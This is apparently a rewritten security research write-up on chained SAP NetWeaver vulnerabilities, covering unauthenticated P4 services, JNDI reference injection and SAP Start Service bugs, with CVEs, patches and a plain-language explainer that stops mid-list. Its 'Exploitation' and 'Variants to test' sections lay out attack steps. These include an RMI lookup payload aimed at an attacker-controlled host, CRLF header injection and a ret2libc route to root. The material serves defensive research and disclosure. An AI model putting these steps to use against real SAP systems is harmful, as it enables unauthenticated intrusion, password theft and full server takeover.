Skip to content
Access control Write-up Advanced

Chained to hit: Discovering new vectors to gain remote and root access in SAP Enterprise Software

The P4 protocol exposed numerous unauthenticated services, including an RFC engine that allowed unauthenticated execution of RFC functions and retrieval of configured JCo passwords. An attacker could chain these to achieve remote code execution or impersonate users.

Pablo Artuso Follow

Published on i.blackhat.com

Chained to hit: Discovering new vectors to gain remote and root access in SAP Enterprise Software Pablo Artuso

Pablo Artuso (@lmkalg), Yvan Genuer, on i.blackhat.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

Context

SAP Enterprise Software sits at the core of many companies' operations. The products covered here, SAP Solution Manager (SolMan), SAP Enterprise Portal, SAP PI/PO and others, share a common technical base: the SAP NetWeaver layer, delivered as an ABAP Stack and a JAVA Stack. The JAVA Stack provides common services such as Gateway, HTTP and P4 communication through the Internet Communication Manager (ICM). Because NetWeaver JAVA does not provide the DIAG service, the SAPGui client cannot connect to it; users typically reach these systems through SAP Fiori or the Portal over HTTP.

Three features matter for this research:

  • P4, a proprietary protocol based on Java RMI and CORBA. It lets remote objects from different namespaces and hosts communicate. By default it listens on port 5NN04 (NN is the system number) and binds to every interface of the host, so it is remotely reachable unless extra configuration is applied. P4 is present in SAP Enterprise Portal, SAP PI/PO, SAP Solution Manager and more. Administrators and end users never use P4 directly; it is used for technical and internal purposes. SolMan uses it to talk to all satellite systems through the Solution Manager Diagnostic Agent (SMDAgent), which runs on each host where an SAP system is installed and operates as the OS user daaadm.
  • JNDI, the Java Naming and Directory Interface, a standard naming and directory service that gives access to resources through a simple string. It is split into an API used by applications and an SPI that handles connections to external or internal resources through providers such as RMI, CORBA, LDAP and DNS.
  • The SAP Start Service, installed automatically with every SAP system, OS and database independent. It performs life-cycle tasks such as monitoring, starting and stopping instances and preparing upgrades. It runs as a service on Windows and a daemon on UNIX, and exposes SOAP web services under namespaces including SAPOsCol, SAPHostControl and SAPCCMS on ports 1128 (http) and 1129 (https). Two of its binaries, saposcol and saphostexec, run as root or nt authority/system. Remotely only a few SOAP services are reachable without authentication; locally a few more are accessible anonymously; everything else requires high-privilege authentication.

the 2012 arbitrary file read in P4, patched with SSN 1682613, the 2014 attacks on SAP Java NetWeaver services by Nahuel D. Sánchez and Sergio Abraham, Kai Ullrich's 2017 Java deserialisation work, patched with SSN 2443673, the 2020 P4 communication hijacking (CVE-2020-6198, CVSS 9.8), the 2020 Start Service privilege escalations (CVE-2020-6234), patched in SSN 2902645, and the JNDI research by Alvaro Muñoz and Oleksandr Mirosh (Black Hat USA 2016) and Michael Stepankin (2019).

Setup

The P4 analysis ran against several systems with different versions, so findings could be confirmed across components and version-specific issues could be found. The versions used were:

Kernel Versions SERVERCORE / CORE-TOOLS / J2EE FRMW
7.50.3301.472568.20220902101413 1000.7.50.24.7.20221009183400
7.50.3301.467525.20210601093523 1000.7.50.22.0.20210804111800
7.50.3301.407179.20200416085516 1000.7.50.2.0.20160125191600

The toolset was:

  • Custom Java scripts to execute lookups, create instances of referenced objects and invoke their methods. Kai Ullrich's script was heavily leveraged to list the interfaces that proxy classes implement.
  • Live debugging tools such as JDB.
  • Server logs at appropriate levels, a key source of information about what is happening.
  • An internal Onapsis tool, the Java Code Catalogue (built by Ignacio Favro), which finds classes by method name or implemented interface name.
  • For the JNDI work, an internal white-box tool called Java Endpoint Analyzer (JEA) that connects to a system, analyses configuration and deployment files, and returns the list of HTTP endpoints with properties such as whether authentication is required.

Several of the services analysed could be reached without authentication or authorisation. The strategy was built iteratively while the analysis ran:

  1. List all services remotely exposed, using Kai Ullrich's script or custom scripts.
  2. Activate debugging in the system.
  3. Choose a JNDI name (linked to a service) to analyse.
  4. Find the implementing interfaces of the referenced object, then the interface and its implementation.
  5. Enable the most detailed logging related to the targeted service.
  6. Analyse statically and dynamically.
  7. Track the execution flow and calling stack with the Code Catalogue, live debugging or greps.
  8. Document almost every step, because without a strong documentation base the strategy becomes uncontrollable.
  9. Move to the next service.

Finding it

Enumerating P4 services

P4 is based on RMI and the systems expose services through JNDI. A simple JNDI connection performs a lookup, as shown in SAP's documentation:

At this point the names to look up were unknown. The Java systems' Telnet interface was used: adding the NAMING set of commands and running LS -l -f lists all JNDI names with their locations. The list was large, around 4500 services, and some were not remotely lookupable. A Java script filtered out the ones returning errors or null objects, leaving approximately 200 services.

The P4 findings

Across the exposed services, 13 vulnerabilities were reported, ranging from CVSS 5.3 to 10.0:

Service Name Description CVSS CVE
Agent Simulation Pre-auth RCE in Diagnostic Agents running Windows 10.0 CVE-2023-27497
Search Facade SQL injection + DoS 9.9 CVE-2022-41272
Locking DoS + Arbitrary OS File Read 9.9 CVE-2023-23857
Job Bean SQL injection + DoS 9.4 CVE-2022-41271
RFC Engine Anonymous RFC execution + password disclosure 9.4 CVE-2023-0017
OSCommand Bridge Potential RCE in Diagnostic Agents 9.0 CVE-2023-27267
Remote Object Factory JNDI Reference injection (pre-auth start of apps) 8.2 CVE-2023-30744
Agent Simulation HTTP Header Injection in Solution Manager 7.2 CVE-2023-36921
Agent Simulation Unauthenticated blind SSRF in Solution Manager 7.2 CVE-2023-36925
Cache Analyzer Information Disclosure 5.3 CVE-2023-26460
Classload Information Disclosure 5.3 CVE-2023-24526
Deploy Object Information Disclosure 5.3 CVE-2023-24527
Analyzer Information Disclosure 5.3 CVE-2023-27268

RFC engine

The JNDI name is rfcengine, the interface RFCRuntimeInterface_Stub. The service implements the RFC functions and communications the Java system supports; the Jco RFC Provider application is used to configure it. To process incoming RFC calls the Java system must be connected to a repository and registered as an External Server in the Gateway of the caller system. All methods of RFCRuntimeInterface_Stub implemented by the rfcengine object required neither authentication nor authorisation.

Through addBundle() it was possible to add a new connection to any arbitrary Gateway and repository, meaning an unauthenticated attacker could register the targeted Java system as an External Server in the Gateway of an attacker-controlled ABAP server and then execute RFC calls against the Java system. The impact depends on the functions implemented, which depend on the installed software:

  • On Enterprise Portal, CREATE_AWF_TASK allows creating tasks with arbitrary content assigned to any user, usable to impersonate users and spread phishing.
  • On Solution Manager, it could lead to RCE through FM_MAI_SIMULATION_AGENT or, very rarely, FM_GPCR_OS_COMMAND.

Separately, getConfigurations() returns all information about JCo connections without authentication. The password is masked when the object is inspected, but because the call runs over P4, traffic analysis showed the actual password is sent by the server. Any anonymous attacker with access to the P4 port can therefore extract all JCo destination configuration, including plain passwords. Patched with SSN 3268093, CVE-2023-0017.

Search Facade

JNDI name com.sap.aii.af.search.api.SearchFacadeRemote, interface SearchFacade. The object retrieves information about technical data (filters, extractors, component profiles) and interacts intensively with the database. Several remotely exposed functions allow inserting, modifying and deleting those items.

An instance could be obtained remotely through P4 without authentication or authorisation. The delete function was vulnerable to SQL injection: despite prepared statements and correct variable binding, the base query was built dynamically from unsanitised input, so the injection was already present when the variables were bound. The function had no output, so exploitation was blind, but every table of the vulnerable system could be read and exfiltrated by an anonymous remote attacker. Patched with SSN 3273480, CVE-2022-41272.

Locking

JNDI name locking, interface LockinRuntimeInterface_Stub. The object implements the system's lock mechanism: checking which locks are in use and who holds them, acquiring new locks, and reading the profile of the Enqueue Server.

All its methods could be called without authentication or authorisation. An unauthenticated attacker could acquire locks continuously, causing the whole system to get stuck, for example by holding application locks that nobody else could use. A way to display the content of any arbitrary OS file was also found. The read ran with <sid>adm privileges and there was no restriction on the file type. SAP systems store credentials encrypted in Secure Storage (SSFS) files in the OS, and publicly available tools can decrypt them, so the file read allows exfiltrating the Secure Storage and decrypting it to obtain plain-text passwords, including database credentials and the Master Password. Patched with SSN 3252433, CVE-2023-23857.

Agent Simulation

JNDI name FM_MAI_SIMULATION_AGENT, interface com.sap.sup.admin.connection.factory.AbapFactoryBean. To find the implementation, all jar files from SolMan (around 2000 files, 1G) were downloaded and searched for strings like "simulation" or "mai", which highlighted abapconnector.jar. The exact JNDI name was found in com.sap.sup.admin.connection.factory.AbapFactoryBean, confirming the package. The method parameters are:

Name Type Direction
im_agent_name String input
im_collector_class String input
im_context_params JCO.Table input
im_input_params JCO.Table input
im_metric_params JCO.Table input
ex_metric_data JCO.Table output
exp_rc Char1 output
exp_rc_msg Char1024 output

IM_AGENT_NAME is the satellite system where a collector class, given in IM_COLLECTOR_CLASS, is executed through RunSimulation. The collector classes were not in SolMan but in the SMDAgent application, so the P4 JNDI service on SolMan acts as a wrapper that launches a Java collector class on a remote SMDAgent. Searching the SMDAgent jars for logical string patterns led to packages named agelet e2emai*; one of these 8 packages contained the collector classes. Around 90 classes can potentially be called from the initial JNDI service, all under com.sap.smd.mai.collector, including:

  • HelloWorldCollector
  • SAPPingHostCollector
  • SimpleFileServiceCollector
  • SimpleFileServiceCollector2
  • SccCollector
  • SAPControlWSCollector
  • LicenseCollector
  • FileServiceCollector
  • FileContentScanCollector
  • EventLogServiceCollector

Four facts were established after initial tests: these classes are the correct values for IM_COLLECTOR_CLASS; each has its parameter names stored in IM_CONTEXT_PARAMS, IM_INPUT_PARAMS or IM_METRIC_PARAMS; some implement authentication mechanisms that break anonymous access; and everything is blind, no collector output is ever returned.

Three blind, remotely exploitable, unauthenticated vulnerabilities were found in this service.

SSRF in SAPPingHTTPCollector

SSN 3352058, CVE-2023-36925. The collector performs an "HTTP ping": it crafts and sends one HTTP request to a remote system using attacker-supplied host, port, protocol type, HTTP method, URL path, POST payload and content type, taken from IM_METRIC_PARAMS. The entry point is SolMan over P4, but the request originates from the SMDAgent. Beyond anonymous access to the collector, an arbitrary header injection lets an attacker craft complex requests with credentials, cookies or custom SAP headers.

SSRF in SAPGrmgClassicCollector

SSN 3348145, CVE-2023-36921. Similar purpose: it crafts and sends one HTTP request to a remote system using IM_INPUT_PARAMS. The entry point is SolMan, the request is performed from an SMDAgent. The attacker controls target host, port, protocol type, HTTP method, URL path and payload, and can inject \r\n in the URL parameter to add arbitrary headers:

Java
params.setValue("/aaa? HTTP/1.1" + "\r\n"
    + "Soapaction: " + "\r\n"
    + "User-Agent: Ona Agent" + "\r\n"
    + "Garbage: ", "VALUE");

The request received by the listener:

HTTP
POST /aaa? HTTP/1.1
Soapaction:
User-Agent: Ona Agent
Garbage: HTTP/1.1
Host: somewhere:1234
Content-Length: 666
Content-Type: text/html
User-Agent: SAP HTTP CLIENT/6.40

RCE in EventLogServiceCollector

SSN 3305369, CVE-2023-27497. The collector gathers Windows Event Log entries using wevtutil.exe:

Text
protected static String wevtutil = "cmd /q /c " + windir + "\\system32\\wevtutil.exe qe AllEvents /rd:true /f:text /q:\"<QueryList>

One parameter in IM_METRIC_PARAMS is a variable in the final command line and is controlled by the attacker. The payload must avoid \t\n\r\f characters, but any OS command can be executed as daaadm, the owner of SMDAgent. The flow is: attacker over P4 to Solution Manager, P4 to the SMDAgent on Windows, then cmd and the OS.

Impact of the P4 findings

The components holding most of these vulnerabilities are shared by almost every SAP Java based solution, including Solution Manager, PI/PO, Enterprise Portal and CRM. An unauthenticated attacker can:

  • Read and exfiltrate arbitrary OS files
  • Read and exfiltrate arbitrary database tables
  • Register the vulnerable system as a Registered Server in arbitrary systems
  • Execute RFC functions against the vulnerable system
  • Access pre-configured JCo plain-text passwords
  • Leak technical information
  • Perform SSRF attacks
  • Cause complete or partial service disruption (DoS)
  • Achieve remote code execution (Windows only)

JNDI reference injection in the Portal

JEA against the latest Enterprise Portal version flagged the NavigationServlet application and NavigationsWS web service as exposed without authentication. Both converge on the Portal's Navigation service, which manages the content displayable to each user and builds a navigation tree whose nodes can be content, collections, pages and so on. To look up the content to display, the Navigation implementation uses JNDI 1.3.

Connectors and Redirectors are identified by prefixes: pcd: for the PCD redirector, ROLES: for the ROLES connector. When a node name is looked up, the Navigation Service delegates to a class based on the prefix; for example pcd://xxxxx is handled by com.sapportals.portal.pcd.pcm.roles.RoleNavigationPcdRedirector. The standard set found in a basic implementation:

Type Prefix Class
R pcd com.sapportals.portal.pcd.pcm.roles.RoleNavigationPcdRedirector
R pcdh com.sapportals.portal.pcd.pcm.roles.RoleNavigationHashRedirector
R TBN com.sap.portal.tbn.redirector.TBNRedirector
R OBN com.sap.portal.obn.redirector.OBNRedirector
C ROLES com.sapportals.portal.pcd.pcm.roles.RoleNavigationConnector
C gpn com.sap.portal.ivs.global.navigation.connector.GPNavigationConnector
C ModeledContent com.sap.portal.modeling.preview.navigation.PreviewNavConnector
C CollaborationConnector com.sapportals.portal.pcd.pcm.roles.RoleNavigationConnector

The candidate method was getNode(Hashtable env, String nodeName). With a pcd:// prefix, getNode() delegates to RoleNavigationPcdRedirector.redirect(), whose code is a standard JNDI lookup:

The JNDI context is created in getPersistenceRootContext from env, and the lookup uses nodeName (pcdURL). If an attacker controls nodeName, they control the lookup. getNavigationTree() has execution paths leading to getNode(), is exposed indirectly through both endpoints found by JEA, requires no authentication, and passes caller-supplied parameters down to redirect(). So any unauthenticated party using NavigationServlet or NavigationWS has full control over redirect()'s parameters and can execute an arbitrary JNDI lookup. PCD was not the only vulnerable redirector: other connectors and redirectors suffered the same consequences, and a second function, getSelectedPathTree(), is also an entry point.

Exploiting the lookup

With the PCD scenario, an RMI connection to an attacker-controlled server was forced with a node name like:

Text
pcd://rmi://<host>:<port>/foo

The socket server received the JRMIK magic bytes, confirming the vulnerability. Loading classes remotely was blocked by the protections almost every Enterprise Portal JVM has. Michael Stepankin's technique of referencing a class already in the classpath was a candidate but his class was not present in this context, so the idea became to find an SAP gadget in the class path.

Live debugging showed the path followed when a JNDI reference is loaded. NamingManager.getObjectInstance() runs, and the builder object is never null, so it executes:

Inside the factory's getObjectInstance(): the factory class name is extracted from refInfo, findObjectFactory is called with it, and the resulting factory's getObjectInstance is called:

So a class usable through a JNDI reference must be castable to ObjectFactory, implement getObjectInstance(), be interesting from an exploitation perspective (returning null is useless), and be loadable by the thread. More than 60 candidates met the first two conditions; the fourth was harder and needed dynamic analysis. One class met all: EJBObjectFactory.

EJBObjectFactory searches for and returns an EJB object. Its getObjectInstance() calls resolveReference() in DefaultRemoteObjectFactory with the JNDI Reference as argument. resolveReference() gathers EJB characteristics (interfaceType, appName, beanName) from the reference and calls getEnterpriseBeansContainers() in DefaultContainerRepository, which finds matching EJB objects. It first gets all applications matching the application name via getOrderedTargetApps(), which extracts the application name from the reference and, before searching the EJB container, calls startApp() with that name. No authentication or authorisation has been provided at this point, so arbitrary applications can be turned on anonymously:

Java
Object getObjectInstance(ref jndiRef) {
    resolveReference(jndiRef);
}

Object resolveReference(ref jndiRef) {
    getEnterpriseBeans(jndiRef);
}

Object getEnterpriseBeans(jndiRef) {
    getOrderedApps(jndiRef);
}

Object getOrderedApps(ref jndiRef) {
    ejbContainer = getEJBContainer();
    appName = jndiRef.getAppName();
    appName.startApp(); <----
    ejbContainer.getApp(appName);
}

This was patched in April 2023 with SSN 3289994, CVE-2023-28761, with a medium CVSS of 6.5. The final impact depends on what the started application can do, but it opens stopped-by-default applications to attack. Custom applications should also be considered, and where vulnerable applications were turned off instead of patched, this vector could be catastrophic. One application stopped by default could allow unauthenticated attackers to further compromise the system, a chained attack introduced in further sections.

Exploitation variants fall into four groups:

  1. Entry point: NavigationServlet (a servlet, exploitable with GET) or NavigationWS (a SOAP service, requiring POST), both over HTTP.
  2. Main function: getNavigationTree() or getSelectedPathTree().
  3. Connectors/Redirectors: multiple JNDI reference injection points depending on the class used; several lead to successful exploitation.
  4. Resolvers: the Java Naming package provides LDAP, RMI, IIOP and others, each with its own resolver. Only RMI was focused on, but IIOP is believed usable too. LDAP seemed impossible because of how SAP manages the NavigationPrincipal object.

Reverseless exploitation

JNDI lookup exploitation normally needs a reverse connection, because an RMI server exposing a JNDI Reference is required, which firewalls and security products can detect; in SAP systems an RMI connection is rarely benign. SAP implements its own JNDIResolvers, including the "EJB" resolver, which creates a JNDIejbResolverContext. Its lookup() does two things: create the JNDI reference from the lookup string via createReferenceFromSchemeLookupString(), then call EJBObjectFactory.getObjectInstance() with that reference:

createReferenceFromSchemeLookupString extracts EJB characteristics (appName, interfaceType) from the jndiName and builds a reference. This is exactly what the manual attack built and served over RMI. By crafting the EJB characteristics inside the looked-up name, the reverse connection is no longer needed, so applications can be started through JNDI reference injection without one.

Start Service

Two SOAP methods under SAPOsCol, SendRequestAsync and SendRequest, are accessible locally without authentication or authorisation and mishandle a parameter, causing a stack-based buffer overflow in the saposcol Unix binary. Exploitability is easy for four reasons:

  1. The crash is reliable and occurs at a ret with a controlled RSP.
  2. The libc version can be leaked with GetHwConfText, another method in the same namespace, also without local authentication.
  3. GetHwConfText also bypasses ASLR: it leaks the current RIP of the running saposcol.
  4. Only NX is enabled on the binary.

GetHwConfText runs sapsysinfo.sh as root and returns the whole output, including the result of cat /proc/[1-9]*/stat (line 2654 of the script), where entries can be filtered for saposcol to get its process status file. An example:

Text
2998 (saposcol) S 1 2998 2998 0 -1 1077944640 9008285 117854845 1 78 15505 37835 30224 54924 20 0 1 0 4916206973 27897856 946 18446744073709551615 4194304 6643541 140721156071872 140721156059176 140567129181712 0 65536 162533383 17920 18446744071680322219 0 0 17 0 0 0 111 0 0 7692288 7766592 24748032 140721156079070 140721156079147 140721156079147 140721156079577 0

The 28th number is the current RIP, 140721156071872 (0x7ffc328521c0). With the libc version and the fact that the service usually waits in __nanosleep_nocancel+7, the libc base offset can be calculated and a ret2libc exploitation performed:

Patched with SSN 3275727, CVE-2023-27498.

A more reliable, OS-independent OS command injection was found in ConfigureOutsideDiscovery under SAPHostControl. One parameter is used in a move/mv command that transfers a configuration file from a temporary directory to the final one, and arbitrary OS commands can be injected into it. The command runs as root or nt authority/system:

Patched with SSN 3285757, CVE-2023-24523.

Exploitation

Step 1: reach P4 anonymously

Connect to port 5NN04 on the target Java NetWeaver system and perform JNDI lookups with the SAP initial context factory, as in the P4Example listing above. No credentials are needed for the vulnerable services.

Step 2: enumerate services

Use the Telnet interface with the NAMING command set and LS -l -f, then filter with a script to keep the roughly 200 remotely lookupable services.

Step 3: pick a service and its interface

For each JNDI name, use the custom scripts to list the interfaces the proxy implements, then locate the interface and implementation. For example rfcengine maps to RFCRuntimeInterface_Stub, locking to LockinRuntimeInterface_Stub.

Step 4: exercise the methods

  • On rfcengine, call addBundle() to register the target as an External Server in an attacker-controlled ABAP Gateway, then run RFC calls; call getConfigurations() and read the plain JCo passwords from the P4 traffic.
  • On SearchFacade, call delete with unsanitised input to inject SQL into the dynamically built base query; the result is blind, so exfiltrate tables through blind techniques.
  • On locking, call the lock methods repeatedly to hold locks and stall the system, and use the file read to fetch the Secure Storage and decrypt it.

Step 5: start a stopped application through JNDI

Send a lookup whose node name carries the pcd:// prefix and an RMI URL pointing at your server:

Text
pcd://rmi://<host>:<port>/foo

Confirm the JRMIK magic bytes arrive. Serve a JNDI Reference whose factory class is EJBObjectFactory and whose appName is the stopped application. The Portal calls startApp() on it without authentication. To avoid the reverse connection, use the EJB resolver and encode the EJB characteristics in the looked-up name so createReferenceFromSchemeLookupString() builds the reference locally.

Step 6: chain to root through SolMan

Because the Start Service command injection can be triggered locally without authentication through a SOAP web service, it can be driven from the SSRF and header injection in SAPPingHTTPCollector on every SMDAgent managed by SolMan. The only entry point needed is unauthenticated access to FM_MAI_SIMULATION_AGENT over P4. The chain is: attacker over P4 to Solution Manager, P4 to the remote SAP system's SMDAgent, HTTP to localhost:1128 (SAP Host Control), then cmd and the OS as root. This compromises all SAP systems connected to the targeted SolMan.

Root cause

  • P4 services: methods on RFCRuntimeInterface_Stub, SearchFacade, LockinRuntimeInterface_Stub and the Agent Simulation service were reachable without authentication or authorisation. In SearchFacade the base query was built dynamically from unsanitised input before variables were bound, so prepared statements did not help. In Locking, the file read ran with <sid>adm privileges and no file-type restriction. In Agent Simulation, collector parameters (content type, URL, metric parameters) were passed into HTTP requests and command lines without validation, and the wrapper let an unauthenticated caller choose the collector class and its parameters.
  • JNDI: getNode() passed caller-controlled nodeName into redirect(), which performed a raw JNDI lookup, so the prefix mechanism became an injection point. The EJBObjectFactory gadget then called startApp() on an application name taken from the reference, before any authorisation check.
  • Start Service: SendRequest/SendRequestAsync mishandled a parameter, producing a stack overflow in a binary built without canary, PIE or RELRO; GetHwConfText leaked libc and RIP, defeating ASLR. ConfigureOutsideDiscovery placed a parameter into an mv command line run as root.

Impact

An unauthenticated remote attacker can read and exfiltrate arbitrary OS files and database tables, register the target in arbitrary ABAP Gateways, execute RFC functions, recover plain JCo passwords, leak technical information, perform SSRF, disrupt services, and achieve RCE on Windows through the EventLogServiceCollector. On the Portal, arbitrary stopped applications can be started anonymously, which matters where vulnerable applications were disabled rather than patched. Chained through SolMan, the SSRF and header injection reach the local Start Service and yield root or nt authority/system on every managed satellite. The P4 components are shared by almost every SAP Java based solution, so almost every company with an SAP implementation is likely affected.

Fix

SAP security patches referenced for these findings include SSN 3268093 (CVE-2023-0017), SSN 3273480 (CVE-2022-41272), SSN 3252433 (CVE-2023-23857), SSN 3352058 (CVE-2023-36925), SSN 3348145 (CVE-2023-36921), SSN 3305369 (CVE-2023-27497), SSN 3289994 (CVE-2023-28761), SSN 3275727 (CVE-2023-27498) and SSN 3285757 (CVE-2023-24523). The Start Service had earlier been hardened with the service/protectedwebmethods parameter (SSN 1439348) to require authentication for almost all functions. Beyond patching, the paper's point is that less critical flaws must be tracked because they chain: disabling a vulnerable application instead of patching it leaves a target for the JNDI start-app vector.

Variants to test

  1. Other P4 services: repeat the enumerate, interface, log, analyse loop on the remaining services. A positive result is a method callable without credentials that returns data or changes state.
  2. Other connectors and redirectors: try each prefix from the standard table with an RMI URL. A positive result is JRMIK bytes at your listener.
  3. getSelectedPathTree(): use it as the entry point instead of getNavigationTree(). A positive result is the same lookup reaching your server.
  4. IIOP resolver: replace RMI with IIOP in the lookup. A positive result is a connection from the target to your IIOP listener.
  5. EJB resolver without reverse connection: encode EJB characteristics in the looked-up name. A positive result is a stopped application starting with no outbound connection.
  6. Other collectors: test the roughly 90 com.sap.smd.mai.collector classes for parameters that reach HTTP requests or command lines. A positive result is a request or command you control arriving at your listener or in logs.
  7. Start Service locally: call GetHwConfText and check for the saposcol process status line; a positive result is a RIP value you can use to compute the libc base.
  8. ConfigureOutsideDiscovery: inject into the parameter used by mv. A positive result is your command running as root in the dev_saphostexec trace.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 47 min read.

What happened, in plain words

A team of security researchers ran several months-long research projects as part of the Onapsis Research Labs, looking at SAP, a very large maker of business software. Many of the world's biggest companies run SAP systems to manage money, staff, stock and customers. The researchers found a long list of weaknesses in parts of SAP that are normally hidden from the internet, and then showed that some of those weaknesses can be joined together like dominoes. One weakness lets an attacker reach a hidden service; another lets that service run a command; a third lets the command run as the most powerful user on the machine. Joined up, a person with no username and no password can end up in full control of the server, and of all SAP systems connected to the targeted SolMan.

The report is written for other security professionals, so it uses a lot of jargon. This version explains the same findings from scratch, for someone who uses a computer and a browser but has never done security work. Terms are explained as they appear, and code from the report is copied and explained.

A few ideas you will need before we start:

  • Server: a computer that runs a program other computers talk to. When you open a website, your browser is the client and the website's computer is the server.
  • Port: think of a server as a large building and a port as a numbered door on that building. A program listens at a particular door number, and clients knock on that door to talk to it. Door 80 is the usual web door; SAP uses many other numbers.
  • Protocol: the agreed language two programs use to talk. HTTP is the language of the web. Different SAP parts speak different languages.
  • Authentication: proving who you are, usually with a username and password. Authorisation: what you are allowed to do once you are known. A finding described as "without authentication or authorisation" means the program never even asks who you are, and never checks whether you may do the thing.
  • Vulnerability: a mistake in a program that lets someone make it behave in a way its maker did not intend.
  • Exploit: the actual action that abuses a vulnerability.
  • Remote: from another computer over the network. Local: from the same computer, without going over the network.
  • CVE: a public catalogue number given to a known vulnerability, so everyone can refer to the same one. CVSS: a score from 0 to 10 saying how severe a vulnerability is; 10 is the worst.
  • SSN: SAP Security Note, SAP's own numbered patch announcement.
  • RCE: remote code execution, meaning an attacker can make the server run commands of their choosing. LPE: local privilege escalation, meaning someone who already has a small foothold on a machine can become a more powerful user.
  • Root: the all-powerful administrator account on Linux and UNIX. On Windows the equivalent is nt authority/system.

Context

SAP Enterprise Software sits at the core of many companies' operations. The products covered here, SAP Solution Manager (SolMan), SAP Enterprise Portal, SAP PI/PO and others, share a common technical base: the SAP NetWeaver layer, delivered as an ABAP Stack and a JAVA Stack. The JAVA Stack provides common services such as Gateway, HTTP and P4 communication through the Internet Communication Manager (ICM). Because NetWeaver JAVA does not provide the DIAG service, the SAPGui client cannot connect to it; users typically reach these systems through SAP Fiori or the Portal over HTTP.

In plain words: SAP builds many products on top of one shared foundation, called NetWeaver. That foundation comes in two flavours, called stacks. The ABAP stack is the older SAP language; the JAVA stack is built on Java, a programming language that runs on almost any computer. The JAVA stack offers shared services: a web server (HTTP), a message relay (Gateway) and a service called P4. Because the JAVA stack lacks one particular service (DIAG), the traditional SAP desktop client cannot connect to it, so people use a web page instead, either SAP Fiori or the Portal.

Three features matter for this research:

  • P4, a proprietary protocol based on Java RMI and CORBA. It lets remote objects from different namespaces and hosts communicate. By default it listens on port 5NN04 (NN is the system number) and binds to every interface of the host, so it is remotely reachable unless extra configuration is applied. P4 is present in SAP Enterprise Portal, SAP PI/PO, SAP Solution Manager and more. Administrators and end users never use P4 directly; it is used for technical and internal purposes. SolMan uses it to talk to all satellite systems through the Solution Manager Diagnostic Agent (SMDAgent), which runs on each host where an SAP system is installed and operates as the OS user daaadm.

    Explained from zero: RMI (Remote Method Invocation) is a Java mechanism that lets a program on one computer call a function that lives in a program on another computer, as if it were local. CORBA is an older, language-independent version of the same idea. P4 is SAP's own variant, used for internal plumbing. The port number follows a pattern: if the SAP system is number 00, P4 listens on 50004; if the system is 01, on 50104, and so on. "Binds to every interface" means the program accepts connections on all of the machine's network addresses, not just one, so anyone who can reach the machine over the network can knock on that door. SMDAgent is a small helper program installed on each SAP server so that the central management system (SolMan) can monitor it. It runs as the operating-system user daaadm, a dedicated account.

  • JNDI, the Java Naming and Directory Interface, a standard naming and directory service that gives access to resources through a simple string. It is split into an API used by applications and an SPI that handles connections to external or internal resources through providers such as RMI, CORBA, LDAP and DNS.

    Explained from zero: imagine a cloakroom. You hand over a coat and get a ticket with a short code on it; later you hand back the code and get the coat. JNDI is that cloakroom for Java programs: a program asks for a resource by name (a short string) and JNDI fetches it. The API is the counter where the program hands over the ticket. The SPI is the back room where staff actually go to find the coat, and there are several back rooms (called providers): RMI, CORBA, LDAP, DNS. The danger, which becomes central later, is that if an attacker can choose the name on the ticket, they can make the cloakroom staff go and fetch a coat from a place the attacker controls.

  • The SAP Start Service, installed automatically with every SAP system, OS and database independent. It performs life-cycle tasks such as monitoring, starting and stopping instances and preparing upgrades. It runs as a service on Windows and a daemon on UNIX, and exposes SOAP web services under namespaces including SAPOsCol, SAPHostControl and SAPCCMS on ports 1128 (http) and 1129 (https). Two of its binaries, saposcol and saphostexec, run as root or nt authority/system. Remotely only a few SOAP services are reachable without authentication; locally a few more are accessible anonymously; everything else requires high-privilege authentication.

    Explained from zero: SOAP is a way of sending a request over HTTP in a structured envelope, a bit like posting a letter with a strict form inside. A namespace here is just a grouping name for a set of related functions. Binary means a compiled program file. Daemon is the UNIX word for a background program that keeps running without a user sitting in front of it. The important point: this Start Service runs as the most powerful user on the machine, so any mistake in it is serious.

the 2012 arbitrary file read in P4, patched with SSN 1682613, the 2014 attacks on SAP Java NetWeaver services by Nahuel D. Sánchez and Sergio Abraham, Kai Ullrich's 2017 Java deserialisation work, patched with SSN 2443673, the 2020 P4 communication hijacking (CVE-2020-6198, CVSS 9.8), the 2020 Start Service privilege escalations (CVE-2020-6234), patched in SSN 2902645, and the JNDI research by Alvaro Muñoz and Oleksandr Mirosh (Black Hat USA 2016) and Michael Stepankin (2019).

Why this matters: none of the new findings appeared from nowhere. Each one builds on a decade of earlier research, and the authors are explicit that they reused ideas and even a script from earlier researchers. Deserialisation is the act of turning a stored or transmitted blob of data back into a live object in memory; if an attacker controls the blob, they can sometimes control what object gets created, which is why it is a classic route to RCE.

Setup

The P4 analysis ran against several systems with different versions, so findings could be confirmed across components and version-specific issues could be found. The versions used were:

Kernel Versions SERVERCORE / CORE-TOOLS / J2EE FRMW
7.50.3301.472568.20220902101413 1000.7.50.24.7.20221009183400
7.50.3301.467525.20210601093523 1000.7.50.22.0.20210804111800
7.50.3301.407179.20200416085516 1000.7.50.2.0.20160125191600

Why test several versions: a bug might exist only in an old release, or only in a new one. By running the same tests on three different builds, the team could tell which findings were general and which were specific to one version. The long numbers are build identifiers: the date inside them (for example 20220902) shows when that build was made.

The toolset was:

  • Custom Java scripts to execute lookups, create instances of referenced objects and invoke their methods. Kai Ullrich's script was heavily leveraged to list the interfaces that proxy classes implement.
  • Live debugging tools such as JDB.
  • Server logs at appropriate levels, a key source of information about what is happening.
  • An internal Onapsis tool, the Java Code Catalogue (built by Ignacio Favro), which finds classes by method name or implemented interface name.
  • For the JNDI work, an internal white-box tool called Java Endpoint Analyzer (JEA) that connects to a system, analyses configuration and deployment files, and returns the list of HTTP endpoints with properties such as whether authentication is required.

Explained from zero: a script is a small program written to automate a repetitive task. A lookup is the act of asking JNDI for a named resource. An instance is a live copy of an object in memory, created from a class (the blueprint). A method is a function belonging to an object. An interface is a list of methods an object promises to provide, like a menu. A proxy is a stand-in object that forwards calls to a real object elsewhere. JDB is Java's built-in debugger, a tool that lets you pause a running program and step through it line by line. White-box means the researchers had access to the program's files and code, as opposed to black-box testing where you only see it from outside. An endpoint is a specific address on a server that accepts requests, like a particular counter in a building.

Several of the services analysed could be reached without authentication or authorisation. The strategy was built iteratively while the analysis ran:

  1. List all services remotely exposed, using Kai Ullrich's script or custom scripts.
  2. Activate debugging in the system.
  3. Choose a JNDI name (linked to a service) to analyse.
